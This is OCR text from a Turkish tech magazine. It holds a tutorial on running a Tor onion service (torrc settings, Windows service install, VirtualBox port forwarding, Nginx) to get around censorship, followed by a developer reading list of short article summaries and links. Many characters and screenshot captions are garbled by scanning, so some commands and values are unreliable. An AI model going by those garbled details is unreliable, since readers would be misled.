s1 bu hususu tiim tafsilatlari ile agikliyor. www.arkakapidergi.
comda da ticretsiz olarak yayimlandig: icin okurlar rahatlikla
burada kendisi igin agik olmayan ayrintilar ile ilgili o yaziya
miiracaat edebilirler.

TOR, 2003 yilinda TOR Button adiyla bir tarayici eklentisi
olarak bagladig1 yasamina, gordaigii hiisnii kabul neticesinde
ayr1 bir browser olarak devam etme karar1 aldu.

2004 yilindan sonra ise sadece kullanicilarin IP’lerini gizle-
mek degil, ayn1 zamanda da TOR Services bugiin ise ONION
Services ad1 verilen bambagka bir hizmeti de harikalar yelpa-
zesine ekledi: Web sitesi sahiplerine, TOR networkiinde kendi
web sitelerini servis etme imkéani! Bu sayede ne domain sag-
layicilarina ne de hosting saglayicilarina mahkum olmadan
TOR networkiinde, gizliliginizi de muhafaza ederek web sitesi

servis edebileceksiniz.




Bu yazi, okur kitlesinin ortalamasi baz alinarak Windows is-
letim sistemi tizerinde hazirlandi. Talimatlarin ¢ogunu *Nix
isletim sistemlerinde de uygulayabilirsiniz.

ONION Servislerinin Ayrintilari

Yazinin devaminda TOR NetworK’ii iizerinden sunulan web
sayfalar1 icin ONION Servisleri tabirini kullanacagiz. Yani
TOR Network’iinde bir web sitesi sahibi olmak aslinda bilgi-
sayarinizda bir ONION Servisi baglatmak manasina geliyor.

TOR Browser Bundle bilgisayariniza www.torproject.org ad-
resinden kurabilirsiniz. Mozilla Firefox tabanli TOR Browser
ve beraberinde TOR servisi sisteminize yiiklenecek.

s oe & @8 hrpermt g wee

Browse Privately.

xplore Freely

Tor Browser kurulum dosyasini indirdikten sonra, ilgili dos-
yay1 tiklayarak kurulumu baglatabilirsiniz.

& Tor Browser Setup = X
Choose Install Location
Choose the folder in which to install Tor Browser. \é

Setup will install Tor Browser in the following folder. To install in a different folder, dick
Browse and select another folder, Click Install to start the installation.

Destination Folder

| c:Tor Browser Browse...

Space required: 166.5 MB
Space available: 116.1GB

Cancel

Bendeniz Tor Browser’in kurulacagi dosya yolu olarak c:\Tor
Browser dizinini se¢tim. Yazida da sonraki ayarlar i¢in bu kla-
sore referans verilecektir.

Kurulum bittikten sonra TOR Browser1 agtiginizda TOR Net-
work’iine baglanmaniz i¢in bir ekran belirecek.

ARKA KAPI Ziyahan Albeniz / Fantazyada Yasaklari Savmak

Connect to Tar - (i} X

TH¢| Browser

Click “"Connect” to connect to Tor.
Click “Configure” to adjust network settings if you are in a country that censors Tor

(such as Egypt, China, Turkey) or if you are connecting from a private network that
requires a proxy.

Configure

For assistance, visit support.torproject.org/#connectingtotor

Exit

Bu ekranda TOR NetworK’iine dogrudan baglanmay: secebi-
leceginiz gibi, Fantazya vb. {ilkelerde yasiyorsaniz muhteme-
len TOR Network’iine erisim otoriteler tarafindan engellendi-
gi icin Configure secenegine tiklayarak bir Bridge tizerinden
TOR Network'iine baglanma opsiyonunu kullanabilirsiniz.
Ayrintilar yazinin baslangicinda referans verdigim yazida
mevcut.

Her sey tamamsa, TOR Network'iine bilgisayarimizin saglikli
bir sekilde baglandigini test etmek igin https://check.torproj-
ect.org sitesini ziyaret edebiliriz:

& Congeanutasions. This browser | X

& e oa [re—— ~ % & 0 =

R —— )G

Congratulations. This browser is configured to use Tor.

Your IP address appears to be: 23.129.64.159

Please refar to the Tor wabsite for further information about using Tor safaly. You ara now free to browsa the Intemat
anonymously. For more information about this et relay, see: Relay Search,

Donate to Support Tor

Tor O&A Site | Volunieer | Run a Relay | Stay Anonymous

Evet! Asayis berkemal. Simdi isin geri kalan kismina gecebi-
liriz.

TOR Browser’da Kiiciik Bir Niians

Dikkatli okur sunu fark edecektir. Yalnizca TOR Browser
iizerinden erisimler TOR Network’ii iizerinden hedefe ak-
tariliyor. Diger tarayicilar iizerindeki web trafiginiz olmasi
gerektigi gibi hedefe variyor ve IP adresiniz ifsa oluyor.
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Diger bir mesele de TOR Network’ii izerinde bir web sitesi yayimlayacaksak hizmetin kesintisiz bir bicimde devam etmesi
gerekiyor. Peki bu durumda TOR Browser hep agik mi1 kalmali?

Tabii ki hayir! Simdi birkag kiigiik ayarla TOR Browser ile birlikte tarayicimiza kurulan fakat sadece tarayici ile birlikte baglati-
lan TOR servisini bir Windows servisine doniistiirecegiz.

Hazir miy1z?

Hatirlarsaniz TOR Browser'n c:\Tor
Browser dizinine kopyalanmasini be-
lirtmistik. Simdi bu dizine gidelim:

Bu dizin icerisinde bulunan Browser\
Tor Browser\Tor dizinine girelim
ve dizin yolunu kopyalayalim:

e RN o Growse]

—_—

M = | Tor Browser

Home Share View

Name ~ Date modified Type Size
s Quick access
Browser File folder
B Desktop i
@ Start Tor Browser Shortcut 1KB
¥4 Downloads
= Documents
=] Pictures
= This PC
¥ Network
| = | Tor
Home share View
« v 1T \Tor Browser\Browser\TorBrow e
Undo
Name Type Size
Cut
s Quick access = |
PluggableTransport: oY File folder
Desktop 99 P Past <
B aste 3 —
%] libeay32.dll Application extens...
@ Downloads B Delete
=] libevent_core-2-1-6. Application extens...
= Documents Select A

libevent_extra-2-1-€

2

libevent-2-1-6.dll
libgec_s_seh-1.dll
(% libssp-0.dll

1 | libwinpthread-1.dil
] ssleay32.dll

[ tor

[#]

m

[} zlib1.dll

2 This PC

¥ Network

Right to left Reading order
Show Unicode control characters

Insert Unicode control character > g
\pplication extens...

Open IME

Reconversion

Application extens...

Applicati

n extens...

ation extens... 117 KB

Simdi Windows Komut Istemi'ni agacak ve mevcut dizini bu dizin olarak degistirecegiz:

Baglat > Calistir'a yahut Start > Run’a cmd yazarak enter tusuna basiniz. Karsiniza siyah bir ekranda Windows Komut Istemi

cikacak:

cd C:\Tor Browser\Browser\TorBrowser\Tor

Yazarak dizin igerisine girelim:

C\Windows\system32\cmd.exe
licrosoft ows [Ve n
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Simdi tor.exe isimli programin bir Windows servisi olarak her isletim sistemi aciliginda baglatilmasi talimatini verecegiz. Boy-
lelikle Tor Browser acik olsun ya da olmasin herhangi bir programin internet trafigini Tor NetworK’ii {izerinden gonderebile-
ceksiniz.

Mgili komutumuz:
tor.exe —-service install

C\Windows\system32\cmd.exe = O X

Kiigtik bir hatirlatma, eger Windows
isletim sistemi tizerinde hali hazirda
kullandiginiz hesabin yonetici yet-
kileri yoksa komut c¢alismayacaktir. ek i 2

Windows Komut Istemi’ni yonetici
yetkileri ile agtiktan sonra ayni islemi
tekrarlayabilirsiniz:

- Command Promnt
App LY Run as administrator

Settings U Open file location

-2 Pin to Start

werShell in the Win + X menu

&= Replace Command
S5 T
Search the web Pin to taskbar

L cmd - See web results

<
'«

tor.exe isimli uygulama artik bir Windows servisi olarak kullanilmaya hazir. Windows servislerine bir goz atarak sonucu dog-
rulayabiliriz:
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Baslat > Calistir yahutStart
> Run ekranina services.msc yaza- Fie ‘Adian Vew Hep

. . NIET == [ i= Hm » 8 np
rak Windowsdaki tiim servislerin lis-
. . . . Services (Local) Services (Local)
tesine ula§ab111r ve listede Tor Win32 ‘ Tor Wind2 Service Name Description  Status Startup Type  Log On As A
Service isimli girdiyi kontrol edebi- —
lirsiniz: . Presascn
k h h . b. Description:
Artik herhangi bir tarayicinin proxy Provdes an ancrymous Intrnet g e i o —

(vekil sunucu) ayarlarindan SOCKS5 | —
tipinde 127.0.0.1 port 9150’yi gire-

rek TOR Browser’1 agmak zorunda
kalmadan TOR NetworK’ii iizerin-
den web sitelerini gezebilirsiniz. Bu
islemden sonra https://check.tor-
project.org’u ziyaret ederek trafigin
TOR networkK’ii iizerinden aktigini
dogrulamanizi 6neririm.

[k agamay1 tamamladik. Simdi ONI- el et
ON Servislerine biraz daha ayrintili
bakabiliriz:

Sunucumuzu Hazirlayalim
Bir web sitemiz olacak, dedik. Fantazyada hosting servislerini kullanirsak, bir tebligatlik émrii olduguna da degindik. Oyle ise
is basa diistii. Web sitemizi kendimiz host edecegiz.

Bununla ilgili olarak ben VirtualBox sanallagtirma yazilimi tizerindeki bir makineyi kullanacagim.

Ubuntu isletim sistemi kurulu bu m— — — —
makinenin ayarlarint NAT arkasin- ‘ v '
da konumlanacak sekilde ayarladim. | -

. . | 1 u ubuntu - Settings ? X
Yani bu sanal makineye sadece host | (i ™*
makine (benim makinem) tizerinden B ceneral Network P
ulagilabilecek. Disaridan herhangi =4 | 5] syctem wioptor 1 [RBEee rae
bir istege kapali olacak. D uounee | Enable Network Adapter
, I Saved [ Attached to: |NAT -

ij Storage

Name:

q/J Audio > Advanced

‘ ﬂ Network

I ;>§. Serial Ports

‘ £ use

|: Shared Folders

[& | UserInterface

—
i Adapter 1: Intel PRO/1000 MT Desktop (NAT)

| & s v
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Web Server yani sunucu yazilimi olarak tercihimi Nginx’ten yana kullandim (www.nginx.com) Nitekim TORun web sitesinde
de ONION servis isletecekler i¢in 6nerilen sunucu yazilimlarindan biri Nginx.

Asagidaki ekran goriintiisiinden de anlagilacag tizere sunucum NAT arkasinda 10.0.2.15 IP adresini kullaniyor:

2 »10-0-2-15: = = m] kS

Simdi ONION Servis ayarlarimiza gegelim.

torrc Sen Bizim Her Seyimizsin!
torrc TOR'un kullandig: bir konfigiirasyon dosyasi. Bir ONION servisi baglatmak istedigimizi de bu konfigiirasyon dosyasi
vasitast ile sdyleyecegiz.

torrc dosyasina ulasmak i¢in C: \Tor Browser\Browser\TorBrowser\Data\Tor yolunu kullanabilir, herhangi bir metin
editori ile bu dosyay1 goriintiileyebilirsiniz:

# This file was generated by Tor; if you edit it, comments will not be preserved
# The old torrc file was renamed to torrc.orig.l or similar, and Tor will ignore it

TORda bir ONION servisi kullanmak istedigimizi séylemenin yolu, bu dosyaya asagidaki iki satir1 eklemek:

HiddenServiceDir C:\my onion service
HiddenServicePort 2023 127.0.0.1:2023
HiddenServiceVersion 2

Peki biitiin bunlar ne anlama geliyor?

HiddenServiceDir baglatilan servis ile ilgili ayarlarimizin ve adresimizin olacag: dizin. Bu dizin ¢ok 6nemli asagida ayrintilara
yer verecegiz.

HiddenServicePort talimati ile TOR'un 2023 numarali portu dinlemesini ve 127.0.0.1 adresindeki 2023 numarali porta istekleri
yonlendirmesini istiyoruz.

Hayda! Hani sanal makinede idi sunucumuz? Evet ama endiselenmeyin! $imdi loopback adresimize, yani 127.0.0.1’in 2023
numarali portuna gelen isteklerin NAT arkasindaki 10.0.2.15 ‘in 2023 numarali portuna yénlendirilmesi i¢in kiigiik bir ayar




Ziyahan Albeniz / Fantazyada Yasaklari Savmak

ARKA KAPI

yapacagiz. Bu ayar VirtualBox iizerinden sanal makinemize bir port forwarding yani port yonlendirme ayar1 tanimlamaktan
ibaret. Virtualbox'ta ilgili sanal makinemizin networking ayarlarindan bu islemi gerceklestirecegiz:

‘\,,j ubuntu - Settings

:- General
System
Display
| Storage
Audio

Network

USB

Shared Folders

e
-
;_}; Serial Ports
=

User Interface

Network

Adapter 1 Adapter 2 Adapter 3 Adapter 4

Enable Network Adapter

Aftached to:

Name:

W Advanced

Adapter Type:
Promiscuous Mode:

MAC Address:

\

MAT =

Intel PRO/1000 MT Desktop (82540EM)
Deny

080027D22501

Cable Connected

Port Forwarding

=

Adapter 1: Intel PRO/1000 MT Desktop (NAT)

£ usB
%
1 :A B -
17! Tools b
i B —
&9
m Name Protocol Host IP Host Port Guest IP Guest Port Q
.
m’® A SSH P 127.00.1 2222 10.0.2.15 22
onion service TCP 127.00.1 2023 10.0.2.15 2023
oK Cancel
)
0K Cancel
-' Network

Adapter 1: Intel PRO/1000 MT Desktop (NAT)
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Bu islemlerden sonra sanal makinenizi yeniden baglatmalisiniz.

Simdi Nginx sunucumuzda da 2023 numarali portu dinlemesine dair bir ayar yapmamiz gerekiyor. Ayrica bir de web sitemizin
adresini bilmemiz lazim ki Nginx’in servername ayarini da yapip, sadece bu Host bilgisi ile gelen isteklere yanit vermesini sag-
layabilelim.

Benim web site adresim nedir?
torrc dosyasina ti¢ satir eklemistik:

HiddenServiceDir C:\my onion service
HiddenServicePort 2023 127.0.0.1:2023
HiddenServiceVersion 2

HiddenServiceDir dizini kritik bir dizin. Web sitemize Onion Servis tarafindan atanan domain name’i 6grenecegiz.

HiddenServiceDir dizini iki adet dosya igeriyor: hostname ve privatekey

® w | my_onion_service - ] *

e e e @

& . » ThisPC » Local Disk (C:) > my_onion_service v 0 | Searchm service £

s Quick access

hostname
I Desitop o

rivate,
¥ Downloads v ey

* Documents

& This PC

| Wl Network

Bu dosyalar torrc dosyasindaki talimatlar dogrultusunda Tor servisi baslatildiginda hazirlandi. hostname dosyast bir stirpriz
bilgi iceriyor; miistakbel web sitemizin adresini:

[’ camy_onion_service\hosiname - Notepads »

File Edit Search View Encoding Language Settings Tools Macro Run Pluging Window ¢
sAHRAGR i kid>caR aa| BRI ED@lla» Bl BB
:jmﬂ.—.amﬂll

yvihen7plb4dhyi5vz.onion

yihcn7plb4hyi5vz.onion Daglara taglaral Bu nasil adres boyle? Bu adres ayni dizinde bulunan private_key yani web site-
nize erisim icin gerceklesecek olan ugtan uca sifrelemenin private_key’i kullanilarak hazirlandi.

i Cmy_onion sensce\nvate ey - Notepads «
Fite

Encoding Langusge Sattings Took Macro Run Plugine Wingow |
3|l | x = = ED@E ®|

L i} = a
————— BEGIN RSA PRIVATE KEY-————
M———--v - m oy - - B~ R E e s e * e apemm e s e CNGWls i =T /MM TV -ANOoT TV.A21
1¢
o
A
£
T
Gl
Y
A
W
v
K
O, Wil w oW w v F e i v A m e vy e kb AT
————— END RSA PRIVATE KEY—-=—=-—-=

TOR servisi oncelikle olusturulan bu private keyden extract edilen public key’in SHA1 ile 6zetini ald1. Bu 6zetin ilk 80 biti ali-
narak ve base32 encoding ile encode edilerek 16 karakter uzunlugundaki bu adrese ulasildi.
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Buradaki mekanizma harikulade tasarlanan bir mekanizma. Domain name’iniz dogrudan public key ile iliskili oldugu i¢in bir
nevi domain name tizerinden self-signed bir sertifika kullanmis oluyorsunuz.

SHAI1 gibi 6zet algoritmasini goriip, hakli olarak ytiziinii burusturan okurlar i¢in kiigiik bir izahat: Version 2 kullanarak hazir-
ladigimiz bu Onion Service'in 3. Versiyonunda daha giiclii algoritmalar ve daha uzun adresler sizi bekliyor. Konunun ayrintila-
rina TORun web sitesinden ulasabilirsiniz.

Web sitemizin adresini 6grendigimize gore simdi Nginx sunucumuzu konfigiire etmemiz icin her sey hazir!

/etc/nginx/sites-available dizini altinda sitemizin adini tagtyacak bir dosya olusturuyoruz: yjhcn7plb4hyi5vz.onion

GNU nano 2.5.3 File: yjhecn7plb4hyi5vz.onion

ng PHP
an.html;

ver name

Simdi bu dosyay sites-enabled isimli klasore tasimamiz gerekiyor:

sudo cp yjhecn7plbdhyibvz.onion ../sites-enabled/
Ayarlardan sonra Nginx sunucusunu restart etmeyi unutmayin:

/etc/init.d/nginx restart

- yihon7 plbdhyi Svz.onion:2023/ Bl http/yihon T plbahyi SvZonion 20,

| € ¢ (@ & yjhen7plbshyisvz.onion ol O =

Arka Kapi Dergi okurlarina Fantazya'dan selam!

Web sitemize TOR Browser1 kullanarak yjhcn7plb4hyi5vz.onion adresi tizerinden erisilebilir!
Simdi sorulara gecebiliriz.

Daha giizel bir domain ismine sahip olabilir miyim?
Evet daha okunakli -TOR literatiiriinde buna vanity domain deniyor- bir domaine sahip olmak miimkiin. Ornegin Facebook'un
Onion Service adresi facebookcorewwwi.onion




Yazinin baglangicinda Onion Service domain adinin private
keyden extract edilen public key’in SHA1 6zetinin alinmast ile
baslayan bir siire¢ oldugunu soylemistim.

Eger giiglii bir CPU’ya sahipseniz, RSA anahtar ¢iftlerini {ire-
tip, SHA1 Ozetini alip, sonra base32 ile encode edip, ilk 16
karakterin arzu ettiginiz domain name’i icerip icermedigini
kontrol edebilirsiniz.

Bunu servis olarak sunan siteler de mevcut. Fakat bendeniz
bu sitelerin kullanilmasini tavsiye etmiyorum. Zira siteniz
i¢in hayati 6nemde olan private key-public key deger ciftinin
tiretilmesini islemini baska birine havale etmis olacaksiniz.
Dolayisiyla bu key’lere sahip olan biri domaininiz iizerinde
sahiplik elde edebilir.

Sisteminizin erisilebilir olmasi, tipki diger web sayfalar: gibi
hosting’in yani web sitesi dosyalarini host ettiginiz bilgisaya-
rin ayakta ve ¢evrim i¢i olmasina bagli. Diger sitelerden farkli
olarak TOR servisi de baglatilmis durumda olmall.

Onion Servisler aracilify ile sadece web sitesi diger SSH vb.
Ustelik NAT arkasindaki servisleri de erisime agabilirsiniz.

Onion Servisleri ¢ok kullanigh ozellikler sunuyor. Mutlaka
version 3’ bakmanizi dneriyorum. Ayrica giivenlik bahsi bu
yazinin limitlerini asmis durumda. Web sitesini izole bir ma-
kine tizerinde ¢alistirtyor olmaniz en 6nemli adimlardan biri.
Fakat tek bagina bu adim yeterli degil. Mutlaka sunucu giiven-
ligi konusunda da doékiimanlara goz atilmali, 6rnegin HTTP
response’unda sunucu bilgilerinin ifsa olmasini engellemek
i¢in gerekli konfigiirasyon ayarlar1 yapilmalidur.

104
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Domain’imi bulmalarini nasil saglayabilirim?
TOR NetworKiine adim atanlarin ilk duraklarindan biri olan
The Hidden Wiki gibi dizin servislerine web sitenizi kayit ede-
bilirsiniz.

.onion uzantili web siteme normal tarayicilar

da erisebilecek mi?

Bu cevaba hem evet hem de hayir yaniti verebiliriz. Yazinin
baslangicinda TOR'un isletim sisteminde bagimsiz bir ser-
vis olarak nasil baslatilabilecegine deginmistik. Sayet tarayici
SOCK iizerinden Proxy olarak TOR i¢in ayarland: ise sitenize
erigebilir.

Ama pek ¢ok durumda, DNS Leakage, web sitelerine eri-
sim i¢in TOR Network’ii kullanilsa da adres ¢oztimleme igin
ISPnin yani servis saglayicinizin DNS sunucularina isletim
sistemi tarafindan miiracaat edilecektir. Bu DNS sunucular1
da maalesef .onion uzantii domainleri ¢6ziimleyemeyecek,
dahasi hangi siteye erigmek istediginize dair bilgiyi ifsa etmis
olacaksiniz.

Daha fazla insan TOR kullandiginda, hatta bu is i¢in donatilan

TOR Browser1 kullandiginda bdylesi ihtimaller sorun olmak-
tan ¢ikacaktir.

Yazinin, bilgi ve diisiincenin 6zgiirce iiretilip, paylasilabilmesi
cabalarina miitevazi bir katk: olarak degerlendirilmesini arzu
ediyorum.

Bilgi giictiir!
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Yazilimcilar icin

Okuma

erhabalar. Yine yazilimcilar igin 6zenle secip derle-
digim, mis kokulu makalelerle huzurlarinizdayim.
[stifade etmeniz iimidiyle basliyorum.

Agziniza Layik Spagetti

Hemen hepimizin yazilim kariyerinin basinda bolca yazdig1-
miz, bir kismimizin ise 1srarla yillarca yazmaya devam ettigi
bir kod stili: spagetti. Emre Mert, spagetti kodu nasil yazabile-
cegimizi anlatmuis.

Diger bir yazisinda ise iiriinler i¢in kullanici bulma ve kullani-
cilar1 kaybetmeme konusunda tavsiyelerini paylasmus.

Spagetti kod servisi demisken, Orhun Begendi de cogu zaman
bu isin soslarindan olan koda yazilan yorumlar: anlatmis.

https://bit.ly/21Qp0yg
EliE e

E
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E .III-iE https://bit.ly/2jUKae9
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Yazilim Trendleri

Mustafa Ekim, gectigimiz senelerde 15 yazilik giizel bir seri
-hepsini okumustum ve sizlere de tavsiye ediyorum- ile yazi-
lim gelistirme trendlerinden bahsetmisti. Bu kez bu yazilarin
tek tek muhasebesini yaparak hangi 6ngoriilerinde basarili ol-
dugunu, hangilerinde yanildigini yazmis.

Listesi

https://bit.ly/21tN1uS
Ohy=0
o
Yeni Ufuklar
Gorebildigim kadariyla yazilimcilarin ciddi gogunlugu belli
basli programlama dillerine ve nesne tabanli programlamaya

yoneliyor. Bunun yaninda 6zellikle “bulut”un yayginlasmasiy-
la fonksiyonel programlama da popiilerligini artirtyor.

Gegtigimiz haftalarda “ana akim™in disindaki dillerle alakali
iki glizel yaziya denk geldim. Bunlarin ilki Erlang. -Duydu-
gum, okudugum kadariyla- paralel ¢aligma ve eszamanlilik
olaylarini miithis kotaran bir dil. WhatsApp ve RabbitMQ gibi
yiiksek hizin 6nemli oldugu uygulamalarin bu dille yazilmas:
da 6nemli bir gosterge. Ridvan Nuri Gé¢men, Erlang’a genel
bir bakig atmus.

Diger yaz1 ise 6grenmesinin zorluguyla meshur fonksiyonel
programlama dili Haskell. Universite 6grencisi Ali Barig Ay-
ten, Haskell'r keyifli bir gekilde anlatan online ve Ingilizce bir
kaynag1 okumaya baslamis. Hazir okurken de bizleri diistine-
rek Tiirkgeye cevirmeye karar vermis.

E' E https://bit.ly/2lWO0viv




Aykiri Yazilimcl

Pek ¢ok meslekte oldugu gibi yazilimcilarin da is hayatinda
kargilastig1 problemler var. Elbette genel problemlerin yanin-
da yazilimcinin yaptig: isin diger insanlar i¢in “soyut” olma-
sinin neden oldugu bir kisim problemler de var. Sanshyiz ki
son dénemlerde bu problemlere sik¢a kafa yoran insanlar var.
Ozellikle Codefiction ii¢ senedir bunu yapiyor.

Gegtigimiz haftalarda ise Hiiseyin Polat Yiiriik, yazilimcilarin
kimi zaman disg kaynakli kimi zaman da kendilerinden kay-
naklanan dogru bilinen yanliglara ve tabulara odaklanmis ve
Mediumda “Aykir1 Yazilimer” adiyla bir yayin agmus.

Derdini anlatti$1 bir giris yazis1 ve “performansi kod satir sa-
yist ile 6lgme” yanlisi hakkinda yazmuis. Ayrica benzer derdi
yasayan herkesi bu konuda yazmaya davet etmis.

https://bit.ly/2jQpkfM
7

E
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Kuantum Bilisim

Kuantum bilgi sayimi (Quantum computing), diilnyada yeni
diyebilecegimiz bir alan. Heniiz almas: gereken ¢ok yol var.
Ayni1 zamanda yeni teknolojileri -maalesef- birkag adim geri-
den takip eden bizler i¢in ise cok ¢ok taze bir alan. Dolayisiyla
cok az Tiirkge icerik var. Gegtigimiz haftalarda Kutlu Kutluer,
bu konuya el atmis ve {i¢ adet yazi1 yayimlamis. Bunlarn ilkin-
de “kuantum iletisim™, ikincisinde “kuantum siiperpozisyon
ve ¢ift yarik deneyi“ni, sonuncusunda ise “kuantum dolaniklik
ve kuantum 1sinlama“ meselelerini kaleme almus.

E :|i|:||: E https://bitly/21lYIMYB
B

E https://bit.ly/2IVY8x1
[

E https://bit.ly/21RzrBF
[
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Ozellikle Kuantum Bilgisayarlar konusundaki makaleleri ile
burada sik sik yer verdigim Zeki Seskir de ge¢tigimiz aylarda
bu konuda bolca igerik iiretmis. Oncelikle biz konudan uzak
insanlar i¢in kuantum dolaniklik kavramini izah etmis. Son-
raki yazisinda Okan Bayiilgen'in agir isimleri konuk edip Ku-
antum muhabbeti ¢evirdigi programi yorumlamis. Diger bir
yazisinda ise Kuantum Atlamalar1 gozleme ve geri ¢evirme
hakkinda yazmis. Son olarak Kuantum Kimya i¢in Kuantum
Bilgisayarlarin kullanimindan bahsetmis.

E https://bit.ly/2kmXKHn

https://bit.ly/2iYiSUc
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https://bit.ly/2ijSvBrm
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Libra’yr Taniyalim

Son haftalarin popiiler haberlerinden biri Facebook’un piyasa-
ya siirecegini agikladig Libra kripto para ve Blockchain plat-
formu. Konuyla alakali birkag Tiirk¢e makaleye denk geldim.

[k olarak projenin resmi dokiimani olan izahnameyi(white
paper) Ebru Giiven, Tiirkgeye ¢evirmis.

Diger bir 6nemli makale Turan Sert‘in enine boyuna konuyu
inceledigi ve pek ¢ok soruyu yanitladig yazisi: Facebook'un
kafasina nereden esti kripto para ¢ikarmak? Neden tek bagina
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sahip olmuyor da baska sirketlerle ortak vakif kuruyor? Sosyal
ve ekonomik olasi sonuglar1 neler olacak? Mevcut Blockchain
ekosistemini ve kripto paralar1 nasil etkileyebilir? Babam boy-
le pasta yapmay1 nereden 6grendi?

Ussal Sahbaz, konuya Libra Vakfrnin kurulusunu ve statiisiinii
inceleyerek basladig1 yazisinda hem kiiresel ekonomiye hem
de iilkemiz ekonomisine olast etkilerini yazmus.

Giiven Sak ise konuyu ekonomik boyutlari ve riskleri ile irde-
lemis.

[=]

Of T
E hE" E https://bit.ly/2jUtZ0g
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E E https://bit.ly/2jUuloU
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E E https://bit.ly/2k1gOUK
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Algoritmalar

Gergek hayatta kullanilan algoritmalar: tanimak bana her za-
man yeni bakis acilar1 ve ufuk katiyor. Bu algoritmalardan iki-
si hakkinda birer makaleye denk geldim gegtigimiz haftalarda.
Bunlardan birinde Alperen Ozlii, eslestirme problemleri icin
(kari-koca, Ogrenci-tiniversite, hasta-donér vb.) kullanilan
“kararli eslesme algoritmasi”n1 anlatmus.

T E https://bit.ly/2jWz3RP

Ahmet Atasoglu, yine rahat anlagilir bir sekilde Yapay Zeka
alaninda kullanilan 6nemli algoritmalardan birini anlatmus:
genetik algoritmalar. Ger¢ek yasamdan nasil esinlenildi-
ginden baslayarak detaylica yapisini anlatmis. Yazi sonun-
da da yine ilgi gekici bir 6rnekle bu algoritmay: kullanarak
Shakespeare’in bir sozlinii tiretmis.

Diger yandan Usame Kaldirim, simetrik-blok sifreleme algo-
ritmalarint anlatmig. Ayni zamanda algoritmalarin detayina
girecegi bir yaziy1 da vadetmis.

Hiz

Gegtigimiz aylarda bir etkinlikte Lemi Orhan Ergin'in bir
sunumunu izlemistim: “yavaglayarak hizlanin” Basitce esasl
adimlarla, acele etmeden, temiz, tekrar doniilmeyecek isler
yaparak, dogru sekilde “agile” olarak “sonug itibariyle” hiz-
lanmaktan bahsediyordu. Ismail Kirtilli da iiriin gelistirmeyle
alakali benzer bir durumdan bahsetmis: hizli yapmak degil
hizli olmak. Yol yine “agile”a ¢ikmus.

E E https://bit.ly/21R4fT3
El%.ql

Veri Analizi

Cagr1 Aksu, veri analizinde eksik verileri, bunlarin nasil/han-
gi durumlarda temizlenebilecegini veya tamamlanabilecegini
anlatmus.

Diger yandan Jiyan Aytek ise veri analizi i¢in kullanilan popii-
ler Python kiitiiphanesi NumPy ile egzersizler yapmus.

Abdiilkadir Pir ise veri biliminin sektorel karar alma siirecle-
rine etkilerini anlattig1 bir seriye baslamis ve ilk yazida sigor-
tacilik sektoriinden bahsetmis.

E E https://bit.ly/2kpaf56
)
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RxJS

Javascript’le ugrasanlarin asina oldugu asenkron ¢agrilar yap-
may1 ve eszamanliligi (concurrency) yonetmeyi kolaylastiran
popiiler bir konsept var: Rx]JS. Tahir Kardak, RxJS’i anlatmak
icin bir yaz1 dizisine baslamis. ilk yazida konseptin temel kav-
ramlarini anlatmis. Ayni zamanda animasyonlarla RxJS’te si-
ral1 dizileri birlestirmeyi anlatan giizel bir yaziy1 ¢evirmis.

E https://bit.ly/2lwRih9

. E https://bit.ly/21X4IDq

Yazilimcilikta Zorluklar

Her meslekte oldugu gibi biz yazilimcilar icin de bir takim
mesleki zorluklar var. Gegtigimiz haftalarda bu tiirden bir ki-
sim zorluklara dair birkag yazi yayimlandi.

Deniz Kiling, olayin bilimsel yonlerine de ugrayarak yazilimei
i¢in konsantrasyonun énemini, beynimizin akis (flow) modu-
nu, béliinmelerin nedenlerini ve maliyetlerini yazmis.

Hiiseyin Polat Yiirtik “yazilimcinin 6grenebilecegi en 6nemli
yetenek” diye soz ettigi “hayir” diyebilmekten bahsetmis. Ne-
lere hayir demesi gerektigini, hayir diyebilmesinin 6nemini ve
diyememesinin maliyetlerini yazmus.

Emre Mert ise yazilimcilarin titkenmislik sendromuna (bur-
nout) yakalanmasini, bundan kagis ve kurtulma yontemlerini
yazmis.

Son olarak Ahmet Yal¢inkaya, iOS gelistiriciler 6zelinde yazi-
lima yeni baslayanlara 6nemli tavsiyelerde bulunmus.

ARKA KAPI Muhammed Hilmi Koca / Yazilimcilar icin Okuma Listesi

E https://bit.ly/2lvMhFL

E| ilil.'.F E https://bit.ly/21Si50
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CAP Teoremi

CAP teoremi bilgi teknolojilerinde énemli bir teori. Kisaca,
veritabani sistemlerinde tutarlilik, ulagilabilirlik ve bolinme
toleransinin (consistency, availability, partition tolerance)
ayn1 anda miimkiin olmadigini 6ne siiriiyor. Kamer Elciyar,
bu teoremin dagitik sistemler i¢in ne ifade ettigini, blockzincir
aglarinda bu maddelerin hangilerinden feragat edildigini ve
bu problemi nasil ¢6zmeye caligtiklarini irdelemis.

Devlet ve Bilisim Teknolojileri

Gegtigimiz glinlerde 2019-2023 yillarin1 kapsayacak On Bi-
rinci Kalkinma Planrnin taslagi meclise sunuldu. Biligim tek-
nolojileri hakkinda oldukga ilgi ¢ekici boliimler var.

Yasar K. Canpolat, bu taslaktaki Fintek, Fikri ve Sinai Mil-
kiyet, Bilgi Teknolojileri ve Kisisel Verilerin Korunmas: gibi
konular hakkindaki béliimleri yazmus.

Ayni zamanda Siber Biilten de konu hakkinda genis bir derle-
me yapmis. Umarim bu konularda devletin farkindalig1 daha
da artar, gelisime yonelik planlar plan olarak kalmaz ve 6zel-
likle veri saklama konusundaki adimlar istismara ugramaz.
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E https://bit.ly/2iYbI29
[

E https://bit.ly/2k31]sy
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Yazilim Tasarimi Nedir?

Lemi Orhan Ergin’in birka¢ sunumunda atif yaptig1 ve siddet-
le okunmasini 6nerdigi bir yazi vardr: Jack W. Reevesin 1992
tarihli “What is Software Design” makalesi. Nesne yonelimli
programlamanin yeni yeni yayginlastig1 dénemlerde yazilim
tasariminin nasil olmas: gerektiginden, Refactoringden, test
yazmaktan bahseden uzun ve 6nemli bir makale bu.

Bu 6nemli makale icin yaklagik iki yil kadar 6nce bir ¢eviri
denemesi yapmistim. Sosyal medyada hala zaman zaman pay-
lagsmama ragmen burada -hatirladigim kadariyla- hi¢ paylas-
madigimi fark ettim. Okumak i¢in buradan buyrun.

Refactoring demisken Bora Kasmer, detayli bir 6rnek tizerin-
den Refactoring’i anlattig1 serinin ikinci yazisini yayimlamuis.

https://bit.ly/21CQmrq
O340

o

E https://bit.ly/2kh4d6R

Yapay Zeka Alemi

Sefik Ilkin Serengil, gectigimiz haftalarda yapay zeka ile ala-
kal1 3 6nemli yazinin gevirisini yayimlamis. Bunlarin ilkinde
bir {itopya olarak makine 6grenmesi ve blockchain teknolo-
